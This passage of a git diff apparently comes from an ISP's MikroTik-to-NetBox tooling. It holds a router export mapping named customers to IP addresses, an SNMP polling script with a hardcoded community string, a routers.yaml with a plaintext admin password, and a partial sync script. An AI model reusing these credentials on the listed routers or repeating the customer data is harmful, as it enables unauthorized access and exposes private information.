"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.26",
|
||||||
|
"interface": "<pppoe-connercoleman>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.29",
|
||||||
|
"interface": "<pppoe-christinehamparyan>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "204.110.188.164",
|
||||||
|
"interface": "<pppoe-jamessmith>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.27",
|
||||||
|
"interface": "<pppoe-jackiehendricks>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "204.110.188.161",
|
||||||
|
"interface": "<pppoe-sensibleheatsystems-1>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.20",
|
||||||
|
"interface": "<pppoe-joepatton>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.11",
|
||||||
|
"interface": "<pppoe-joespeciale>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.16",
|
||||||
|
"interface": "<pppoe-kenhall>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.5",
|
||||||
|
"interface": "<pppoe-mikebell>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.9",
|
||||||
|
"interface": "<pppoe-franceskirby>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.19",
|
||||||
|
"interface": "<pppoe-chrisclayton>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.6",
|
||||||
|
"interface": "<pppoe-korybiggsshop>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.13",
|
||||||
|
"interface": "<pppoe-korybiggs>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.17",
|
||||||
|
"interface": "<pppoe-monicatrevino>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.25",
|
||||||
|
"interface": "<pppoe-briangallimore>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.2",
|
||||||
|
"interface": "<pppoe-choonpang>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.14",
|
||||||
|
"interface": "<pppoe-douglaswilson>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "204.110.188.168",
|
||||||
|
"interface": "<pppoe-lambandlion>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.4",
|
||||||
|
"interface": "<pppoe-swedlund>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.28",
|
||||||
|
"interface": "<pppoe-greghummel>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.3",
|
||||||
|
"interface": "<pppoe-bernardheer>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"interfaces": [
|
||||||
|
{
|
||||||
|
"name": "ether2-380",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "6C:3B:6B:E1:5D:48",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether5-switch",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "6C:3B:6B:E1:5D:4B",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether6-lowrycrossing-new",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "6C:3B:6B:E1:5D:4C",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether7-tower",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "6C:3B:6B:E1:5D:4D",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "sfp-sfpplus1-edgepoint",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "6C:3B:6B:E1:5D:45",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-EdRater>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-bernardheer>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-briangallimore>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-choonpang>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-chrisclayton>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-christelles>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-christinehamparyan>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-cliffordjennings>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-connercoleman>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-douglaswilson>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-franceskirby>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-greghummel>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-jackiehendricks>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-jamessmith>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-joepatton>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-joespeciale>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-kavalleriefarm>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-kenhall>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-korybiggs>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-korybiggsshop>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-lambandlion>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-mikebell>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-mikecurrence>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-monicatrevino>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-sensibleheatsystems-1>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-susanking>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-swedlund>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-timthomas>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "bridge_cpe_mgmt",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "6C:3B:6B:E1:5D:45",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": "auto"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "lo",
|
||||||
|
"type": "loopback",
|
||||||
|
"mac": "00:00:00:00:00:00",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 65536
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "loopback",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "FE:34:14:95:54:B7",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "mgmt_ether5",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "6C:3B:6B:E1:5D:4B",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "mgmt_sfp+",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "6C:3B:6B:E1:5D:45",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "newhope",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "6C:3B:6B:E1:5D:46",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": "auto"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"vlans": [
|
||||||
|
{
|
||||||
|
"name": "mgmt_ether5",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether5-switch"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "mgmt_sfp+",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "sfp-sfpplus1-edgepoint"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"pppoe_servers": [
|
||||||
|
{
|
||||||
|
"service_name": "newhope",
|
||||||
|
"interface": "newhope"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"routes": [
|
||||||
|
{
|
||||||
|
"destination": "10.10.144.0/20",
|
||||||
|
"gateway": "10.250.1.105",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.254.254.109/32",
|
||||||
|
"gateway": "10.250.1.105",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "45.76.233.160/32",
|
||||||
|
"gateway": "10.9.108.254",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "100.64.20.0/22",
|
||||||
|
"gateway": "10.250.1.105",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "204.110.188.192/27",
|
||||||
|
"gateway": "10.250.1.105",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
41
poll_snmp_site.sh
Executable file
41
poll_snmp_site.sh
Executable file
|
|
@ -0,0 +1,41 @@
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# Generic SNMP polling script for network sites
|
||||||
|
# Usage: ./poll_snmp_site.sh <site_name> <ip1> <ip2> <ip3> ...
|
||||||
|
|
||||||
|
if [ $# -lt 2 ]; then
|
||||||
|
echo "Usage: $0 <site_name> <ip1> [ip2] [ip3] ..."
|
||||||
|
echo "Example: $0 new_hope 10.10.143.11 10.10.143.12 10.10.143.13"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
SITE_NAME="$1"
|
||||||
|
shift
|
||||||
|
IPS=("$@")
|
||||||
|
|
||||||
|
# SNMP community string
|
||||||
|
COMMUNITY="kdyyJrT0Mm"
|
||||||
|
|
||||||
|
# Output file for results
|
||||||
|
OUTPUT="${SITE_NAME}_results.txt"
|
||||||
|
> "$OUTPUT"
|
||||||
|
|
||||||
|
# Poll each device
|
||||||
|
for IP in "${IPS[@]}"; do
|
||||||
|
echo "Polling $IP..."
|
||||||
|
SYSNAME=$(snmpget -v1 -c "$COMMUNITY" -t 2 -r 1 "$IP" 1.3.6.1.2.1.1.5.0 2>/dev/null | awk -F': ' '{print $2}' | tr -d '"')
|
||||||
|
|
||||||
|
if [ -n "$SYSNAME" ]; then
|
||||||
|
echo "$IP|$SYSNAME" >> "$OUTPUT"
|
||||||
|
echo " Found: $SYSNAME"
|
||||||
|
else
|
||||||
|
echo "$IP|UNKNOWN" >> "$OUTPUT"
|
||||||
|
echo " Could not retrieve sysName"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "Results saved to $OUTPUT"
|
||||||
|
echo ""
|
||||||
|
echo "To generate Terraform config, run:"
|
||||||
|
echo " python3 generate_terraform.py $OUTPUT $SITE_NAME"
|
||||||
2
requirements.txt
Normal file
2
requirements.txt
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
requests>=2.31.0
|
||||||
|
urllib3>=2.0.0
|
||||||
31
routers.yaml
Normal file
31
routers.yaml
Normal file
|
|
@ -0,0 +1,31 @@
|
||||||
|
# Default credentials applied to every router unless overridden per-entry.
|
||||||
|
#
|
||||||
|
# NOTE: the export command writes a file to router flash via "/export file=...",
|
||||||
|
# which requires the `ftp` policy in addition to `read` + `api`. The default
|
||||||
|
# RouterOS `read` group does NOT include `ftp`, so the read-only `grahamro`
|
||||||
|
# account in CLAUDE.md will fail with "not enough permissions (9)".
|
||||||
|
#
|
||||||
|
# Either use an account in a group with policies = read,api,ftp (or full), or
|
||||||
|
# extend the existing read group: /user group set read add-policy=ftp
|
||||||
|
defaults:
|
||||||
|
username: graham
|
||||||
|
password: ctg5qyn3uhe*UBP8rmw
|
||||||
|
port: 8729 # MikroTik API-SSL
|
||||||
|
|
||||||
|
routers:
|
||||||
|
- name: verona
|
||||||
|
host: 10.254.254.101
|
||||||
|
- name: climax
|
||||||
|
host: 10.254.254.102
|
||||||
|
- name: culleoka
|
||||||
|
host: 10.254.254.104
|
||||||
|
- name: newhope
|
||||||
|
host: 10.254.254.108
|
||||||
|
- name: lowry
|
||||||
|
host: 10.254.254.109
|
||||||
|
- name: "982"
|
||||||
|
host: 10.254.254.110
|
||||||
|
- name: "494"
|
||||||
|
host: 10.254.254.111
|
||||||
|
- name: core
|
||||||
|
host: 10.254.254.253
|
||||||
341
sync_mikrotik_to_netbox.py
Executable file
341
sync_mikrotik_to_netbox.py
Executable file
|
|
@ -0,0 +1,341 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import json
|
||||||
|
import argparse
|
||||||
|
import sys
|
||||||
|
from urllib.parse import urljoin
|
||||||
|
from mikrotik_connect import MikrotikAPI
|
||||||
|
|
||||||
|
|
||||||
|
class NetBoxSync:
|
||||||
|
def __init__(self, netbox_url, netbox_token):
|
||||||
|
self.base_url = netbox_url.rstrip('/')
|
||||||
|
self.api_url = urljoin(self.base_url + '/', 'api/')
|
||||||
|
self.headers = {
|
||||||
|
'Authorization': f'Token {netbox_token}',
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
'Accept': 'application/json'
|
||||||
|
}
|
||||||
|
self.session = requests.Session()
|
||||||
|
self.session.headers.update(self.headers)
|
||||||
|
|
||||||
|
def post(self, endpoint, data):
|
||||||
|
"""Make POST request to NetBox API"""
|
||||||
|
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||||
|
response = self.session.post(url, json=data)
|
||||||
|
if response.status_code not in [200, 201]:
|
||||||
|
print(f"Error creating {endpoint}: {response.status_code}")
|
||||||
|
print(f"Response: {response.text}")
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def patch(self, endpoint, data):
|
||||||
|
"""Make PATCH request to NetBox API"""
|
||||||
|
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||||
|
response = self.session.patch(url, json=data)
|
||||||
|
if response.status_code not in [200, 201]:
|
||||||
|
print(f"Error updating {endpoint}: {response.status_code}")
|
||||||
|
print(f"Response: {response.text}")
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def get(self, endpoint, params=None):
|
||||||
|
"""Make GET request to NetBox API"""
|
||||||
|
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||||
|
response = self.session.get(url, params=params)
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def get_or_create_prefix_role(self, role_name):
|
||||||
|
"""Get or create a prefix role"""
|
||||||
|
# Check if role exists
|
||||||
|
role_response = self.get('ipam/roles/', params={'name': role_name})
|
||||||
|
if role_response['count'] > 0:
|
||||||
|
return role_response['results'][0]['id']
|
||||||
|
|
||||||
|
# Create role
|
||||||
|
role_data = {
|
||||||
|
'name': role_name,
|
||||||
|
'slug': role_name.lower().replace(' ', '-')
|
||||||
|
}
|
||||||
|
created_role = self.post('ipam/roles/', role_data)
|
||||||
|
return created_role['id']
|
||||||
|
|
||||||
|
def determine_prefix_role(self, interface_name, ip_address):
|
||||||
|
"""Determine the role of a prefix based on interface and IP"""
|
||||||
|
interface_lower = interface_name.lower()
|
||||||
|
|
||||||
|
if 'loopback' in interface_lower:
|
||||||
|
return 'Loopback'
|
||||||
|
elif any(mgmt in interface_lower for mgmt in ['mgmt', 'management', 'ether1']):
|
||||||
|
return 'Management'
|
||||||
|
elif any(infra in interface_lower for infra in ['tower', 'backhaul', 'climax', 'switch']):
|
||||||
|
return 'Infrastructure'
|
||||||
|
elif ip_address.startswith('100.64.'):
|
||||||
|
return 'CGNAT'
|
||||||
|
elif ip_address.startswith('10.10.'):
|
||||||
|
return 'CPE-Management'
|
||||||
|
elif any(cust in interface_lower for cust in ['customer', 'cpe', 'vlan']):
|
||||||
|
return 'Customer'
|
||||||
|
else:
|
||||||
|
return 'Unknown'
|
||||||
|
|
||||||
|
def determine_interface_type(self, interface_name):
|
||||||
|
"""Determine the NetBox interface type based on MikroTik interface name"""
|
||||||
|
interface_lower = interface_name.lower()
|
||||||
|
|
||||||
|
# Check for specific interface types first (most specific to least specific)
|
||||||
|
if 'loopback' in interface_lower or interface_lower == 'lo':
|
||||||
|
return 'virtual'
|
||||||
|
elif 'vlan' in interface_lower:
|
||||||
|
return 'virtual'
|
||||||
|
elif 'bond' in interface_lower or 'bonding' in interface_lower:
|
||||||
|
return 'lag'
|
||||||
|
elif 'pppoe' in interface_lower:
|
||||||
|
return 'virtual'
|
||||||
|
elif 'sfp-sfpplus' in interface_lower or 'sfpplus' in interface_lower:
|
||||||
|
return '10gbase-x-sfpp'
|
||||||
|
elif 'sfp' in interface_lower:
|
||||||
|
return '1000base-x-sfp'
|
||||||
|
elif 'ether' in interface_lower:
|
||||||
|
return '1000base-t'
|
||||||
|
elif 'wlan' in interface_lower or 'wireless' in interface_lower:
|
||||||
|
return 'ieee802.11n'
|
||||||
|
elif 'bridge' in interface_lower:
|
||||||
|
return 'bridge'
|
||||||
|
# Only check for exact matches for bridge names
|
||||||
|
elif interface_lower in ['verona', 'lowry', 'culleoka', 'climax', 'yorkshire', 'new-hope']:
|
||||||
|
return 'bridge'
|
||||||
|
else:
|
||||||
|
return 'other'
|
||||||
|
|
||||||
|
def sync_router_to_netbox(self, router_ip, router_user, router_pass, site_name, device_name=None):
|
||||||
|
"""Sync router configuration to NetBox"""
|
||||||
|
|
||||||
|
# Connect to router and get data
|
||||||
|
print(f"Connecting to router {router_ip}...")
|
||||||
|
api = MikrotikAPI(router_ip, router_user, router_pass)
|
||||||
|
|
||||||
|
try:
|
||||||
|
if not api.connect():
|
||||||
|
print("Failed to connect to router")
|
||||||
|
return False
|
||||||
|
|
||||||
|
if not api.login():
|
||||||
|
print("Failed to login to router")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Get all IP addresses from router
|
||||||
|
addresses = api.command("/ip/address/print")
|
||||||
|
print(f"Retrieved {len(addresses)} IP addresses from router")
|
||||||
|
|
||||||
|
finally:
|
||||||
|
api.disconnect()
|
||||||
|
|
||||||
|
# Get site from NetBox
|
||||||
|
site_response = self.get('dcim/sites/', params={'name': site_name})
|
||||||
|
if site_response['count'] == 0:
|
||||||
|
print(f"Error: Site '{site_name}' not found in NetBox")
|
||||||
|
return False
|
||||||
|
|
||||||
|
site_id = site_response['results'][0]['id']
|
||||||
|
print(f"Found site '{site_name}' with ID: {site_id}")
|
||||||
|
|
||||||
|
# Get device if specified
|
||||||
|
device_id = None
|
||||||
|
if device_name:
|
||||||
|
device_response = self.get('dcim/devices/', params={'name': device_name})
|
||||||
|
if device_response['count'] > 0:
|
||||||
|
device_id = device_response['results'][0]['id']
|
||||||
|
print(f"Found device '{device_name}' with ID: {device_id}")
|
||||||
|
else:
|
||||||
|
# Try to find a device at this site
|
||||||
|
device_response = self.get('dcim/devices/', params={'site_id': site_id})
|
||||||
|
if device_response['count'] > 0:
|
||||||
|
device_id = device_response['results'][0]['id']
|
||||||
|
device_name = device_response['results'][0]['name']
|
||||||
|
print(f"Found device '{device_name}' at site")
|
||||||
|
|
||||||
|
# Process addresses (excluding dynamic PPPoE)
|
||||||
|
prefixes_to_create = {}
|
||||||
|
ips_to_update = []
|
||||||
|
|
||||||
|
for addr in addresses:
|
||||||
|
# Skip disabled and dynamic addresses
|
||||||
|
if addr.get('disabled', 'false') == 'true':
|
||||||
|
continue
|
||||||
|
if addr.get('dynamic', 'false') == 'true' and 'pppoe' in addr.get('interface', '').lower():
|
||||||
|
continue
|
||||||
|
|
||||||
|
interface = addr.get('interface', 'unknown')
|
||||||
|
address = addr.get('address', '')
|
||||||
|
network = addr.get('network', '')
|
||||||
|
|
||||||
|
if not address or not network:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Calculate prefix
|
||||||
|
prefix_bits = address.split('/')[-1]
|
||||||
|
prefix = f"{network}/{prefix_bits}"
|
||||||
|
|
||||||
|
# Store unique prefixes
|
||||||
|
if prefix not in prefixes_to_create and prefix != f"{network}/32":
|
||||||
|
prefixes_to_create[prefix] = {
|
||||||
|
'interface': interface,
|
||||||
|
'role': self.determine_prefix_role(interface, address)
|
||||||
|
}
|
||||||
|
|
||||||
|
# Store IPs to update
|
||||||
|
ips_to_update.append({
|
||||||
|
'address': address,
|
||||||
|
'interface': interface,
|
||||||
|
'prefix': prefix
|
||||||
|
})
|
||||||
|
|
||||||
|
# Create/Update prefixes
|
||||||
|
print(f"\n=== Processing {len(prefixes_to_create)} Prefixes ===")
|
||||||
|
prefix_stats = {'created': 0, 'updated': 0, 'failed': 0}
|
||||||
|
|
||||||
|
for prefix, info in prefixes_to_create.items():
|
||||||
|
# Check if prefix exists
|
||||||
|
prefix_response = self.get('ipam/prefixes/', params={'prefix': prefix})
|
||||||
|
|
||||||
|
prefix_data = {
|
||||||
|
'prefix': prefix,
|
||||||
|
'site': site_id,
|
||||||
|
'status': 'active',
|
||||||
|
'description': f"{site_name} - {info['interface']}",
|
||||||
|
'is_pool': False
|
||||||
|
}
|
||||||
|
|
||||||
|
# Add role
|
||||||
|
try:
|
||||||
|
role_id = self.get_or_create_prefix_role(info['role'])
|
||||||
|
prefix_data['role'] = role_id
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
try:
|
||||||
|
if prefix_response['count'] == 0:
|
||||||
|
# Create new prefix
|
||||||
|
self.post('ipam/prefixes/', prefix_data)
|
||||||
|
print(f"Created prefix: {prefix} ({info['role']})")
|
||||||
|
prefix_stats['created'] += 1
|
||||||
|
else:
|
||||||
|
# Update existing prefix
|
||||||
|
existing_id = prefix_response['results'][0]['id']
|
||||||
|
self.patch(f'ipam/prefixes/{existing_id}/', prefix_data)
|
||||||
|
print(f"Updated prefix: {prefix} ({info['role']})")
|
||||||
|
prefix_stats['updated'] += 1
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Failed to process prefix {prefix}: {e}")
|
||||||
|
prefix_stats['failed'] += 1
|
||||||
|
|
||||||
|
print(f"\nPrefix Summary: {prefix_stats['created']} created, {prefix_stats['updated']} updated, {prefix_stats['failed']} failed")
|
||||||
|
|
||||||
|
# Update IP addresses
|
||||||
|
print(f"\n=== Processing {len(ips_to_update)} IP Addresses ===")
|
||||||
|
ip_stats = {'created': 0, 'updated': 0, 'failed': 0}
|
||||||
|
|
||||||
|
for ip_info in ips_to_update:
|
||||||
|
# Check if IP exists
|
||||||
|
ip_response = self.get('ipam/ip-addresses/', params={'address': ip_info['address']})
|
||||||
|
|
||||||
|
ip_data = {
|
||||||
|
'address': ip_info['address'],
|
||||||
|
'status': 'active',
|
||||||
|
'description': f"{ip_info['interface']}",
|
||||||
|
'tenant': None
|
||||||
|
}
|
||||||
|
|
||||||
|
try:
|
||||||
|
